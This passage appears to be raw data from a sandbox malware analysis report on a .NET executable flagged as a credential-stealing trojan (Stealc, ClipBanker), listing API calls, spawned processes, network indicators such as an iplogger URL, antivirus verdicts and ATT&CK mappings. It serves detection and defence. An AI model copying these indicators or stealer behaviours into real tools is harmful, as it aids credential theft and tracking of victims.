"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00006044) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00006044)70:Ta73,Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00001504.00000000.67965.00408000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00001744.00000000.68130.0081E000.00000004.mdmp, 00000000-00001744.00000001.70052.0081D000.00000004.mdmp") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; Source: "00000000-00001744.00000000.68130.0081E000.00000004.mdmp, 00000000-00001744.00000001.70052.0081D000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00001744.00000000.68130.0081E000.00000004.mdmp, 00000000-00001744.00000001.70052.0081D000.00000004.mdmp") Found reference to API "GetDCEx" (Indicator: "GetDC"; Source: "00000000-00001744.00000000.68130.0081E000.00000004.mdmp, 00000000-00001744.00000001.70052.0081D000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004656.00000000.68030.032D0000.00000004.mdmp, 00000000-00004656.00000001.69951.032D0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004656.00000000.68030.032D0000.00000004.mdmp, 00000000-00004656.00000001.69951.032D0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00004656.00000000.68030.032D0000.00000004.mdmp, 00000000-00004656.00000001.69951.032D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004656.00000000.68030.032D0000.00000004.mdmp, 00000000-00004656.00000001.69951.032D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004656.00000000.68030.032D0000.00000004.mdmp, 00000000-00004656.00000001.69951.032D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004656.00000000.68030.032D0000.00000004.mdmp, 00000000-00004656.00000001.69951.032D0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00004656.00000000.68030.032D0000.00000004.mdmp, 00000000-00004656.00000001.69951.032D0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004656.00000000.68030.032D0000.00000004.mdmp, 00000000-00004656.00000001.69951.032D0000.00000004.mdmp")71:T59a,"api.ipify.org" (Indicator: "api.ipify.org"; File: "PCAP") "GET /?format=dfg HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache" (Indicator: "api.ipify.org"; File: "PCAP") "iplogger.com" (Indicator: "iplogger.com"; File: "PCAP") "api.ipify.org" (Indicator: "api.ipify.org"; File: "00000000-00001504.00000000.67965.02F80000.00000004.mdmp, 00000000-00001504.00000001.69886.02F80000.00000004.mdmp") "http://api.ipify.org/?format=dfg" (Indicator: "api.ipify.org"; File: "00000000-00001504.00000000.67965.02F80000.00000004.mdmp, 00000000-00001504.00000001.69886.02F80000.00000004.mdmp") "https://iplogger.com/19nVA4" (Indicator: "iplogger.com"; File: "00000000-00001504.00000000.67965.02F80000.00000004.mdmp, 00000000-00001504.00000001.69886.02F80000.00000004.mdmp") "ttp://api.ipify.org/?format=dfg" (Indicator: "api.ipify.org"; File: "00000000-00001504.00000000.67965.02F80000.00000004.mdmp, 00000000-00001504.00000001.69886.02F80000.00000004.mdmp") "ttp://api.ipify.org/" (Indicator: "api.ipify.org"; File: "00000000-00001504.00000000.67965.02F80000.00000004.mdmp") "Hostapi.ipify.orgGET /?format=dfg HTTP/1.1" (Indicator: "api.ipify.org"; File: "00000000-00001504.00000000.67965.02F80000.00000004.mdmp") "http://api.ipify.org/?cripts/plus.php?ip=67.218.111.202&substr=nine&s=ab" (Indicator: "api.ipify.org"; File: "00000000-00001504.00000001.69886.02F80000.00000004.mdmp")72:T1478,Spawned process "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (UID: 00000000-00006044) Spawned process "InstallSetup9.exe" (UID: 00000000-00001504) Spawned process "288c47bbc1871b439df19ff4df68f076.exe" (UID: 00000000-00004656) Spawned process "BroomSetup.exe" (UID: 00000000-00001744) Spawned process "WerFault.exe" with commandline "-pss -s 452 -p 4656 -ip 4656" (UID: 00000000-00006288) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 448" (UID: 00000000-00007928) Spawned process "WerFault.exe" with commandline "-pss -s 488 -p 4656 -ip 4656" (UID: 00000000-00005932) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 452" (UID: 00000000-00008048) Spawned process "WerFault.exe" with commandline "-pss -s 392 -p 4656 -ip 4656" (UID: 00000000-00006896) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 464" (UID: 00000000-00004056) Spawned process "WerFault.exe" with commandline "-pss -s 488 -p 4656 -ip 4656" (UID: 00000000-00003912) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 572" (UID: 00000000-00002116) Spawned process "WerFault.exe" with commandline "-pss -s 488 -p 4656 -ip 4656" (UID: 00000000-00005736) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 668" (UID: 00000000-00007256) Spawned process "WerFault.exe" with commandline "-pss -s 508 -p 4656 -ip 4656" (UID: 00000000-00005952) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 676" (UID: 00000000-00007352) Spawned process "WerFault.exe" with commandline "-pss -s 484 -p 4656 -ip 4656" (UID: 00000000-00002184) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 696" (UID: 00000000-00006224) Spawned process "WerFault.exe" with commandline "-pss -s 448 -p 4656 -ip 4656" (UID: 00000000-00003604) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 704" (UID: 00000000-00004912) Spawned process "WerFault.exe" with commandline "-pss -s 516 -p 4656 -ip 4656" (UID: 00000000-00007020) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 724" (UID: 00000000-00004104) Spawned process "WerFault.exe" with commandline "-pss -s 528 -p 4656 -ip 4656" (UID: 00000000-00007424) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 756" (UID: 00000000-00000244) Spawned process "WerFault.exe" with commandline "-pss -s 480 -p 4656 -ip 4656" (UID: 00000000-00004184) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 744" (UID: 00000000-00005300) Spawned process "WerFault.exe" with commandline "-pss -s 536 -p 4656 -ip 4656" (UID: 00000000-00003552) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 784" (UID: 00000000-00006952) Spawned process "WerFault.exe" with commandline "-pss -s 536 -p 4656 -ip 4656" (UID: 00000000-00001864) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 896" (UID: 00000000-00005336) Spawned process "WerFault.exe" with commandline "-pss -s 528 -p 4656 -ip 4656" (UID: 00000000-00002704) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 896" (UID: 00000000-00002760) Spawned process "WerFault.exe" with commandline "-pss -s 520 -p 4656 -ip 4656" (UID: 00000000-00002732) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 852" (UID: 00000000-00002752) Spawned process "WerFault.exe" with commandline "-pss -s 540 -p 4656 -ip 4656" (UID: 00000000-00002756) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 816" (UID: 00000000-00002816) Spawned process "WerFault.exe" with commandline "-pss -s 552 -p 4656 -ip 4656" (UID: 00000000-00005520) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 820" (UID: 00000000-00007160) Spawned process "WerFault.exe" with commandline "-pss -s 540 -p 4656 -ip 4656" (UID: 00000000-00006816) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 820" (UID: 00000000-00006848) Spawned process "WerFault.exe" with commandline "-pss -s 540 -p 4656 -ip 4656" (UID: 00000000-00005908) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 884" (UID: 00000000-00006444) Spawned process "WerFault.exe" with commandline "-pss -s 536 -p 4656 -ip 4656" (UID: 00000000-00006644) Spawned process "WerFault.exe" with commandline "-u -p 4656 -s 816" (UID: 00000000-00005420) Spawned process "powershell.exe" with commandline "powershell -nologo -noprofile" (UID: 00000000-00007052) Spawned process "nsu8C47.tmp" (UID: 00000000-00005288) Spawned process "288c47bbc1871b439df19ff4df68f076.exe" (UID: 00000000-00004204) Spawned process "WerFault.exe" with commandline "-pss -s 564 -p 4204 -ip 4204" (UID: 00000000-00005284) Spawned process "WerFault.exe" with commandline "-u -p 4204 -s 396" (UID: 00000000-00005728) Spawned process "WerFault.exe" with commandline "-pss -s 568 -p 4204 -ip 4204" (UID: 00000000-00006260) Spawned process "WerFault.exe" with commandline "-u -p 4204 -s 400" (UID: 00000000-00008036) Spawned process "WerFault.exe" with commandline "-pss -s 564 -p 4204 -ip 4204" (UID: 00000000-00007748) Spawned process "WerFault.exe" with commandline "-u -p 4204 -s 412" (UID: 00000000-00006420) Spawned process "WerFault.exe" with commandline "-pss -s 548 -p 4204 -ip 4204" (UID: 00000000-00003908)1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790339203319,"unified_at":"2026-09-25T12:26:43.319Z","metadata":{"hashes":{"sha256":"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","sha1":"bad90a2ac6545496ced8ecb38e0a589a641c2df3","md5":"d872ad98ce3e3db8497ccd15e0baad33","sha512":"6ebdfce4d44949a307bbe791306b12a58ab0975a42220297cb750643cf6291acf5a9c3edf15b21e1ad100ee0bdb49442f46abda9433d549907c1f7543963d38e","ssdeep":"196608:x90qA5Ae48OeGc1GbJjL7d/jKczNljQgK/:x93qMpYG1v8WTQgK","ssdeep_chunks":["196608:x90qA5A","196608:90qA5Ae","196608:0qA5Ae4","196608:qA5Ae48","196608:A5Ae48O","196608:5Ae48Oe","196608:Ae48OeG","196608:e48OeGc","196608:48OeGc1","196608:8OeGc1G","196608:OeGc1Gb","196608:eGc1GbJ","196608:Gc1GbJj","196608:c1GbJjL","196608:1GbJjL7","196608:GbJjL7d","196608:bJjL7d/","196608:JjL7d/j","196608:jL7d/jK","196608:L7d/jKc","196608:7d/jKcz","196608:d/jKczN","196608:/jKczNl","196608:jKczNlj","196608:KczNljQ","196608:czNljQg","196608:zNljQgK","196608:NljQgK/","393216:x90qA5A","393216:90qA5Ae","393216:0qA5Ae4","393216:qA5Ae48","393216:A5Ae48O","393216:5Ae48Oe","393216:Ae48OeG","393216:e48OeGc","393216:48OeGc1","393216:8OeGc1G","393216:OeGc1Gb","393216:eGc1GbJ","393216:Gc1GbJj","393216:c1GbJjL","393216:1GbJjL7","393216:GbJjL7d","393216:bJjL7d/","393216:JjL7d/j","393216:jL7d/jK","393216:L7d/jKc","393216:7d/jKcz","393216:d/jKczN","393216:/jKczNl","393216:jKczNlj","393216:KczNljQ","393216:czNljQg","393216:zNljQgK","393216:NljQgK/","196608:x93qMpY","196608:93qMpYG","196608:3qMpYG1","196608:qMpYG1v","196608:MpYG1v8","196608:pYG1v8W","196608:YG1v8WT","196608:G1v8WTQ","196608:1v8WTQg","196608:v8WTQgK"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"bounty-8804820186032019","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":6917632,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1704777850000,"last_seen":1789296766000,"last_multi_scan":1789296766000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["commodity","rat","loader","remcos","credentialharvesting","amadeyloader","criminal","informationstealer","stealc","downloader","evasive","ransomware","windows-server-utility"]},"stats":{"av":{"malicious_count":17,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":2,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":112},"sandbox_signatures":{"informative_count":336,"suspicious_count":28,"malicious_count":16,"total":380},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"GrayWare/Win32.Wacapew","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.MalwareX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"IL:Trojan.ClipBanker.56","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"IL:Trojan.ClipBanker.56 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/Agent.UZA trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"VirTool/MSIL.Obfuscator.su","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Ransomware ( 005a8b921 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"high_entropy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/ILAgent-I","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"GenericRXPI-VQ!D872AD98CE3E","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Kryptik.FFY.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.UWI","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"IL:Trojan.ClipBanker","sources":[{"report_type":"quickscan","report_id":""}]},{"value":"Stealc","sources":[{"report_type":"qsp","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute WMI queries (Dotnet)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"PE file contains large number of import functions"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Found Native API in Dotnet file"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains native function calls (syscalls strings)"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Reads system-defined device setup information from registry"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve information about operating system (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"},{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Reconnaissance","technique":"IP Addresses","attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Connects to LPC ports"},{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"informative","value":"Contains ability to interact with Microsoft Outlook"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"},{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6aa6807da9614284a002c7be"},{"report_type":"sandbox","report_id":"659e1c6d5ec466032f0e63fe"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"},{"type":"malicious","value":"The analysis extracted a file that was identified as 